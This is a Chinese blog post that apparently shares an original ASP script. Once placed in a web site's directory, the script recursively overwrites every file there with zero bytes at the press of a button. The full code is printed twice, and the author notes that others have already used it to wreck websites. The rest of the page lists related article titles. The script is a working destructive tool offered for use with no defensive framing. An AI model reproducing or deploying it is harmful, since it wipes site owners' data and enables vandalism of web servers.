[原创]自动清空站点目录下所有文件
2005-09-19 17:56
267 查看
作用:可以清空此文件所在的web站点所有文件,将文件内容清零.运行完毕所有文件大小都变成0字节.
此代码本人原创,转载请注明转自lamking.com,谢谢合作.另外程序可以扩展.
属于无聊时的作品,已经有人利用这个破坏了一些网站了.
<%
Server.ScriptTimeout=99999
If Request("Submit")<>"" Then
Call ListFile(Server.mappath("./"))
Response.write"清理完毕"
Else
Response.write"<form><input type=""submit"" name=""Submit"" value=""开始清理""></form>"
End If
Function ListFile(fpath)
On Error Resume Next
Dim Shell,Folder,s
Set Shell =Server.CreateObject ("Shell.Application")
Set Folder =Shell.Namespace(fpath)
Set f=Server.CreateObject("Adodb.Stream")
f.Type=1
f.Open
For Each s in Folder.Items
IF s.isfolder Then
Call ListFile(s.path)
Else
f.SaveToFile s.path,2
End if
Next
Set f=Nothing
Set Shell=nothing
End function
%>
此代码本人原创,转载请注明转自lamking.com,谢谢合作.另外程序可以扩展.
属于无聊时的作品,已经有人利用这个破坏了一些网站了.
<%
Server.ScriptTimeout=99999
If Request("Submit")<>"" Then
Call ListFile(Server.mappath("./"))
Response.write"清理完毕"
Else
Response.write"<form><input type=""submit"" name=""Submit"" value=""开始清理""></form>"
End If
Function ListFile(fpath)
On Error Resume Next
Dim Shell,Folder,s
Set Shell =Server.CreateObject ("Shell.Application")
Set Folder =Shell.Namespace(fpath)
Set f=Server.CreateObject("Adodb.Stream")
f.Type=1
f.Open
For Each s in Folder.Items
IF s.isfolder Then
Call ListFile(s.path)
Else
f.SaveToFile s.path,2
End if
Next
Set f=Nothing
Set Shell=nothing
End function
%>
相关文章推荐
- 自动清空站点目录下所有文件
- makefile 自动编译同一个目录下的所有文件
- php递归取目录下的所有文件(原创)
- python---把tab.py的tab键自动补齐命令脚本,放入包目录下,python所有文件都可以使用
- 监控web站点目录下所有文件是否被恶意篡改
- cmd自动删除当前目录及子目录中的所有空文件
- makefile 自动编译同一个目录下的所有文件
- 自动解压目录及子目录下所有压缩文件的批处理(偷懒专用^_^)
- 【原创】Linux 文件/目录的访问权限和所有权限
- phpcms 实现自动加载所有函数文件【原创】
- 对目录中的所有文件执行一系列指令且自动获取参数的脚本
- 如何用命令打包一个站点,包括其所有目录文件
- 【原创】C# 递归获取指定目录的子目录及其所有文件
- 一个WEB项目安装包,自动配置数据库,config文件和虚拟目录。。(原创)
- 查找目录下的所有文件且清空他们
- 自动将目录下所有文件生成超链接网页
- Makefile自动编译目录下的所有.C文件
- 自动按时间备份当前目录的所有文件到上级目录
- 自动解压目录及子目录下所有压缩文件的批处理(偷懒专用^_^)
- python写一段脚本代码自动完成输入(目录下的所有)文件的数据替换(修改数据和替换数据都是输入的)【转】